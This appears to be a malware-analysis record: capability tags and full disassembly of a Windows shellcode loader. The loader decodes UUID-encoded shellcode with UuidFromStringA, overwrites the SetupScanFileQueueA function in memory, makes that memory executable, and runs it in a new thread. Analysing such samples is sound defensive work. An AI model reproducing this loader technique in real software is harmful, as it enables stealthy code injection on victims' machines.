Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r13
push r14
push r15
sub rsp, 0x40
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rdx, qword [sym.imp.SETUPAPI.dll_SetupScanFileQueueA]
lea rcx, str.___Address_Of__SetupScanFileQueueA__:_0x_p__n
call fcn.140001010
lea rcx, str.RPCRT4
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, str.UuidFromStringA
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
test rax, rax
jne 0x1400010ee
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____GetProcAddress_Failed_With_Error_:__d__n
call fcn.140001010
jmp 0x1400012b8
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x120
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r15, rax
test rax, rax
jne 0x140001129
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____HeapAlloc_Failed_With_Error_:__d__n
call fcn.140001010
jmp 0x1400012b8
lea r13, str.E48348FC_E8F0_00C0_0000_415141505251
mov rdi, r15
mov rsi, r13
xor ebx, ebx
nop dword [rax + rax]
mov rcx, qword [rsi]
mov rdx, rdi
call r14
mov ebp, eax
test eax, eax
jne 0x140001277
add rdi, 0x10
inc ebx
add rsi, 8
cmp ebx, 0x12
jb 0x140001140
lea rcx, str.___Press__Enter__To_Write_Payload_...
call fcn.140001010
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
lea rcx, str._i__Writing_...
call fcn.140001010
mov rcx, qword [sym.imp.SETUPAPI.dll_SetupScanFileQueueA]
lea r9, [rsp + 0x30]
mov edx, 0x120
mov dword [rsp + 0x30], ebp
lea r8d, [rbp + 4]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400011bc
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____VirtualProtect__RW__Failed_With_Error_:__d__n
call fcn.140001010
jmp 0x1400012b8
mov rcx, qword [sym.imp.SETUPAPI.dll_SetupScanFileQueueA]
mov r8d, 0x120
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
mov rcx, qword [sym.imp.SETUPAPI.dll_SetupScanFileQueueA]
lea r9, [rsp + 0x30]
mov edx, 0x120
mov r8d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000120b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____VirtualProtect__RWX__Failed_With_Error_:__d__n
call fcn.140001010
jmp 0x1400012b8
lea rcx, str.___DONE__n
call fcn.140001010
lea rcx, str.___Press__Enter__To_Run_The_Payload_...
call fcn.140001010
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
mov r8, qword [sym.imp.SETUPAPI.dll_SetupScanFileQueueA]
xor r9d, r9d
xor edx, edx
mov qword [rsp + 0x28], 0
xor ecx, ecx
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
je 0x140001261
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rcx, str.___Press__Enter__To_Quit_...
call fcn.140001010
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
xor eax, eax
jmp 0x1400012bd
mov rdx, rdi
lea rcx, str.TmpBuffer:
call fcn.140001010
mov rdx, r15
lea rcx, str.pBuffer:
call fcn.140001010
lea rcx, str.My_fcking_error
call fcn.140001010
movsxd rdx, ebx
lea rcx, str.____UuidFromStringA_Failed_At___s__With_Error_0x_0.8X
mov r8d, ebp
mov rdx, qword [r13 + rdx*8]
call fcn.140001010
mov eax, 0xffffffff
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140001300
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop r13
ret